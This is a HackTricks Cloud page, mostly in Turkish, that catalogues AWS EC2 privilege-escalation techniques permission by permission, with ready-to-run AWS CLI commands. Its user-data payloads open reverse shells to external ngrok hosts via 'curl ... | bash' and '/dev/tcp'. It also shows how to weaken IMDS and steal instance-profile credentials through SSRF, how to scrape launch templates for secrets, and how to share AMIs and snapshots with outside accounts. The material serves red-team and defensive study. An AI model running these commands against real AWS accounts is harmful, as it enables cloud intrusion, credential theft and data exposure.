AWS - EC2 Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
EC2
EC2 hakkında daha fazla bilgi için bakın:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole, ec2:RunInstances
Bir saldırgan, bir IAM role iliştirerek bir instance oluşturabilir ve ardından instance’a erişip metadata endpoint’ten IAM role kimlik bilgilerini çalabilir.
- SSH ile erişim
Yeni bir instance’ı oluşturulmuş ssh key (--key-name) kullanarak çalıştırın ve sonra ona ssh ile bağlanın (yeni bir tane oluşturmak isterseniz ec2:CreateKeyPair iznine ihtiyacınız olabilir).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- user data içindeki rev shell ile erişim
Yeni bir instance’ı, size bir rev shell gönderecek bir user data (--user-data) kullanarak başlatabilirsiniz. Bu şekilde security group belirtmenize gerek yoktur.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
IAM rolünün kimlik bilgilerini instance dışında kullanırsanız, GuradDuty konusunda dikkatli olun:
Potential Impact: Mevcut instance profiles’a bağlı herhangi bir EC2 role doğrudan privesc.
Privesc to ECS
Bu izin seti ile ayrıca bir EC2 instance oluşturup bunu bir ECS cluster içine kaydedebilirsiniz. Bu şekilde, erişiminiz olan EC2 instance içinde ECS servisleri çalıştırılacak ve sonra bu hizmetlere (docker containers) sızarak onlara bağlı ECS rolleri çalabilirsiniz.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
To learn how to force ECS services to be run in this new EC2 instance check:
If you cannot create a new instance but has the permission ecs:RegisterContainerInstance you might be able to register the instance inside the cluster and perform the commented attack.
Potential Impact: Direct privesc to ECS roles attached to tasks.
iam:PassRole, iam:AddRoleToInstanceProfile
Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan ele geçirilmiş bir instance’ın IAM rolünü değiştirebilir ve böylece yeni kimlik bilgilerini çalabilir.
Bir instance profile yalnızca 1 role sahip olabildiği için, instance profile zaten bir role sahipse (yaygın durum), ayrıca iam:RemoveRoleFromInstanceProfile iznine de ihtiyacınız olacaktır.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Eğer instance profile has a role ve attacker cannot remove it ise, başka bir çözüm yolu vardır. Saldırgan, find bir instance profile without a role bulabilir veya create a new one (iam:CreateInstanceProfile), o role’ü daha önce tartışıldığı gibi o instance profile’a add edebilir ve ele geçirilmiş instance profile’ı ele geçirilmiş instance: ile associate the instance profile edebilir:
- Eğer instance doesn’t have any instance profile (
ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Potential Impact: Farklı bir EC2 role doğrudan privesc (bir AWS EC2 instance’ını ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir).
iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)
Bu izinlerle, bir instance’a ilişkilendirilmiş instance profile’ı değiştirmek mümkündür; bu nedenle saldırgan zaten bir instance’a erişim sağlamışsa, ilişkilendirilen profile’ı değiştirerek daha fazla instance profile rolü için kimlik bilgilerini çalabilir.
- Eğer instance’ın bir instance profile’ı varsa, instance profile’ı kaldırabilir (
ec2:DisassociateIamInstanceProfile) ve yeniden ilişkilendirebilir
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- veya ele geçirilmiş instance’ın instance profile’ını değiştirebilir (
ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Olası Etki: Doğrudan farklı bir EC2 role privesc (AWS EC2 instance’ını ele geçirmeniz ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir).
ec2:RequestSpotInstances,iam:PassRole
Bu izinlere sahip bir saldırgan ec2:RequestSpotInstancesandiam:PassRole Spot Instance’ı EC2 Role attached ve user data içinde bir rev shell olacak şekilde isteyebilir.\ Instance çalıştırıldıktan sonra IAM role’ü çalabilir.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Bir saldırgan ec2:ModifyInstanceAttribute iznine sahipse instance’ın özniteliklerini değiştirebilir. Bunların arasında user data’yı değiştirmek de vardır; bu da instance’ın herhangi bir veriyi çalıştırmasını sağlar. Bu, EC2 instance’a rev shell elde etmek için kullanılabilir.
Özniteliklerin yalnızca instance durdurulurken değiştirilebileceğini unutmayın; bu yüzden izinler ec2:StopInstances ve ec2:StartInstances gereklidir.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Potansiyel Etki: Oluşturulan bir instance’a bağlı herhangi bir EC2 IAM Role’a doğrudan privesc.
ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate
Bu izinlere (ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate ve ec2:ModifyLaunchTemplate) sahip bir saldırgan, yeni Launch Template versiyonu oluşturup user data içine bir rev shell ve üzerine herhangi bir EC2 IAM Role ekleyebilir, varsayılan sürümü değiştirebilir; ve bu Launch Template’i kullanan herhangi bir Autoscaler group, latest veya default version kullanacak şekilde yapılandırılmışsa, o template’i kullanarak instance’ları yeniden başlatır ve rev shell’i çalıştırır.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Potential Impact: Doğrudan farklı bir EC2 role’a privesc.
(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)
Bir saldırgan, autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole izinlerine sahip olduğunda, bir Launch Configuration oluşturup içine bir IAM Role ile bir rev shell’i user data olarak yerleştirebilir; ardından bu konfigürasyondan bir autoscaling group oluşturup rev shell’in IAM Role’ü çalmasını bekleyebilir.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Olası Etki: Doğrudan privesc başka bir EC2 rolüne.
!autoscaling
İzinler kümesi ec2:CreateLaunchTemplate ve autoscaling:CreateAutoScalingGroup bir IAM rolüne ayrıcalık yükseltmesi yapmak için yeterli değildir çünkü Launch Configuration veya Launch Template içinde belirtilen rolü ilişkilendirmek için iam:PassRole ve ec2:RunInstances izinlerine ihtiyaç vardır (bu bilinen bir privesc’tir).
ec2-instance-connect:SendSSHPublicKey
Bir saldırgan ec2-instance-connect:SendSSHPublicKey iznine sahipse bir kullanıcıya ssh anahtarı ekleyebilir ve (eğer instance’a ssh erişimi varsa) bunu kullanarak erişim sağlayabilir veya ayrıcalıkları yükseltebilir.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Olası Etki: Çalışan instance’lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Bu izne sahip bir saldırgan ec2-instance-connect:SendSerialConsoleSSHPublicKey bir seri bağlantıya ssh anahtarı ekleyebilir. Seri etkin değilse, saldırganın ec2:EnableSerialConsoleAccess bunu etkinleştirmek için iznine ihtiyacı vardır.
Seri porta bağlanmak için ayrıca makinedeki bir kullanıcının kullanıcı adını ve parolasını bilmeniz gerekir.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Bu yöntem privesc için pek kullanışlı değil çünkü istismar etmek için bir kullanıcı adı ve parola bilmeniz gerekir.
Potential Impact: (Çok kanıtlanamaz) Çalışan instances’lara bağlı EC2 IAM rollerine doğrudan privesc.
describe-launch-templates,describe-launch-template-versions
Since launch templates have versioning, an attacker with ec2:describe-launch-templates and ec2:describe-launch-template-versions permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
Yukarıdaki komutlarda belirli desenleri (aws_|password|token|api) belirtmiş olsak da, diğer tür hassas bilgileri aramak için farklı bir regex kullanabilirsiniz.
aws_access_key_id ve aws_secret_access_key bulduğumuzu varsayarsak, bu kimlik bilgilerini AWS’ye kimlik doğrulama yapmak için kullanabiliriz.
Potansiyel Etki: IAM kullanıcılarına doğrudan ayrıcalık yükseltilmesi.
Referanslar
ec2:ModifyInstanceMetadataOptions (IMDS’i düşürerek SSRF ile kimlik bilgisi hırsızlığına olanak sağlama)
Bir saldırgan, hedef bir EC2 instance’ında ec2:ModifyInstanceMetadataOptions çağırma yeteneğine sahipse, IMDS korumalarını IMDSv1’i etkinleştirerek (HttpTokens=optional) ve HttpPutResponseHopLimit değerini artırarak zayıflatabilir. Bu, instance üzerinde çalışan uygulamaların yaygın SSRF/proxy yolları aracılığıyla instance metadata uç noktasına erişilebilmesini sağlar. Eğer saldırgan böyle bir uygulamada SSRF tetikleyebilirse, instance profile kimlik bilgilerini alıp bunlarla pivot yapabilir.
- Gerekli izinler: Hedef instance üzerinde
ec2:ModifyInstanceMetadataOptions(artı host üzerinde SSRF’e erişme/tetikleme yeteneği). - Hedef kaynak: Eklenmiş bir instance profile’a (IAM role) sahip çalışan EC2 instance’ı.
Komut örneği:
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'
# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled
# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity
# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
Olası Etki: SSRF yoluyla instance profile kimlik bilgilerinin çalınması; bu da EC2 rol izinleri ile ayrıcalık yükseltmeye ve yatay hareketliliğe yol açabilir.
ec2:ModifyInstanceMetadataOptions
ec2:ModifyInstanceMetadataOptions iznine sahip bir saldırgan, Instance Metadata Service (IMDS) korumalarını zayıflatabilir — örneğin IMDSv1’i zorlayarak (HttpTokens gereksiz hale getirerek) veya HttpPutResponseHopLimit’i artırarak — bu da geçici kimlik bilgilerinin dışarı çıkarılmasını kolaylaştırır. En ilgili risk vektörü HttpPutResponseHopLimit’in artırılmasıdır: bu hop limitini (TTL) yükselterek, 169.254.169.254 uç noktası VM’in network namespace’i ile sıkı şekilde sınırlı olmaktan çıkar ve diğer süreçler/konteynerler tarafından erişilebilir hale gelebilir; bu da kimlik bilgisi hırsızlığına olanak verir.
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute
ec2:ModifyImageAttribute ve ec2:ModifySnapshotAttribute izinlerine sahip bir saldırgan, AMIs veya snapshots’ı diğer AWS hesaplarıyla paylaşabilir (veya hatta herkese açık hale getirebilir); bu, yapılandırmalar, kimlik bilgileri, sertifikalar veya yedekler gibi hassas veriler içerebilecek images veya volumes’ların açığa çıkmasına neden olabilir. Bir AMI’nin launch permissions’ını veya bir snapshot’ın create-volume permissions’ını değiştirerek, saldırgan üçüncü tarafların bu kaynaklardan instances başlatmasına veya diskleri mount etmesine ve içeriklerine erişmesine izin verir.
Bir AMI’yi başka bir hesapla paylaşmak için:
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS snapshot’ını başka bir hesapla paylaşmak için:
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

